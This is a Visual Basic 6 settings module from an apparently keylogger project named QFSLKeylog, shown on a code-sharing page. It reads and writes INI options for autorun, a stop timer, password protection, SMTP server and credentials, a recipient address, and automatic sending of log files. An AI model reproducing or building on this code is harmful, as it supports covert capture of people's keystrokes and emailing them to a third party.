📄 module6.bas
字号:
Attribute VB_Name = "Module5"
Option Explicit
Public autorun As Integer
Public stopp As Integer
Public stoptime As Integer
Public password As String
Public askpwd As Integer
Public smtp As Integer
Public server As String
Public receive As String
Public TOPIC As String
Public SMTPuser As String
Public SMTPpwd As String
Public autosend As Integer
Public filelenth As Integer
Public filepath As String
Public log_time As Date
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
' 申明读写INI文件
Public Sub WriteToIni(ByVal Filename As String, ByVal Section As String, ByVal Key As String, ByVal Value As String)
Dim buff As String * 128
buff = Value + Chr(0)
WritePrivateProfileString Section, Key, buff, Filename
End Sub
Public Function ReadFromIni(ByVal Filename As String, ByVal Section As String, ByVal Key As String) As String
Dim i As Long
Dim buff As String * 128
GetPrivateProfileString Section, Key, "", buff, 128, Filename
i = InStr(buff, Chr(0))
ReadFromIni = Trim(Left(buff, i - 1))
End Function
Public Sub readinilog()
autorun = Val(ReadFromIni(AppPath & "\QFSLKeylog.ini", "autorun", "autorun"))
stopp = Val(ReadFromIni(AppPath & "\QFSLKeylog.ini", "autorun", "stopp"))
stoptime = Val(ReadFromIni(AppPath & "\QFSLKeylog.ini", "autorun", "stoptime"))
askpwd = Val(ReadFromIni(AppPath & "\QFSLKeylog.ini", "autorun", "askpwd"))
smtp = Val(ReadFromIni(AppPath & "\QFSLKeylog.ini", "smtp", "smtp"))
server = ReadFromIni(AppPath & "\QFSLKeylog.ini", "smtp", "server")
receive = ReadFromIni(AppPath & "\QFSLKeylog.ini", "smtp", "receive")
TOPIC = ReadFromIni(AppPath & "\QFSLKeylog.ini", "smtp", "TOPIC")
SMTPuser = getrelstr(ReadFromIni(AppPath & "\QFSLKeylog.ini", "smtp", "SMTPuser"))
SMTPpwd = getrelstr(ReadFromIni(AppPath & "\QFSLKeylog.ini", "smtp", "SMTPpwd"))
password = getrelstr(ReadFromIni(AppPath & "\QFSLKeylog.ini", "autorun", "password"))
autosend = Val(ReadFromIni(AppPath & "\QFSLKeylog.ini", "autosend", "autosend"))
filelenth = Val(Val(ReadFromIni(AppPath & "\QFSLKeylog.ini", "autosend", "filelenth")))
filepath = ReadFromIni(AppPath & "\QFSLKeylog.ini", "autosend", "filepath")
With Form1
.Check5.Value = autorun
.Check2.Value = stopp
.Check4.Value = autosend
.Check3.Value = askpwd
.Check1.Value = smtp
.Command1.Enabled = autosend
.Text2.Enabled = autosend
.Text3.Enabled = autosend
If smtp <> 0 Then .Timer_send.Enabled = True
.Text1.Text = receive
.Text2.Text = SMTPuser
.Text4.Text = filepath
.Text5.Text = TOPIC
.Text6.Text = filelenth
.Text7.Text = stoptime
.Text8.Text = password
.Combo1.Text = server
End With
End Sub
Public Sub writeinilog(Path As String)
WriteToIni Path & "\QFSLKeylog.ini", "autorun", "autorun", Form1.Check5.Value
WriteToIni Path & "\QFSLKeylog.ini", "autorun", "stopp", Form1.Check2.Value
WriteToIni Path & "\QFSLKeylog.ini", "autorun", "stoptime", Val(Form1.Text7.Text)
WriteToIni Path & "\QFSLKeylog.ini", "autorun", "askpwd", Form1.Check3.Value
WriteToIni Path & "\QFSLKeylog.ini", "autorun", "password", dealpass(Form1.Text8.Text)
WriteToIni Path & "\QFSLKeylog.ini", "smtp", "smtp", Form1.Check1.Value
WriteToIni Path & "\QFSLKeylog.ini", "smtp", "server", Form1.Combo1.Text
WriteToIni Path & "\QFSLKeylog.ini", "smtp", "receive", Form1.Text1.Text
WriteToIni Path & "\QFSLKeylog.ini", "smtp", "TOPIC", Form1.Text5.Text
WriteToIni Path & "\QFSLKeylog.ini", "smtp", "SMTPuser", dealpass(Form1.Text2.Text)
WriteToIni Path & "\QFSLKeylog.ini", "smtp", "SMTPpwd", dealpass(Form1.Text3.Text)
WriteToIni Path & "\QFSLKeylog.ini", "autosend", "autosend", Form1.Check4.Value
WriteToIni Path & "\QFSLKeylog.ini", "autosend", "filelenth", Form1.Text6.Text
WriteToIni Path & "\QFSLKeylog.ini", "autosend", "filepath", Form1.Text4.Text
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -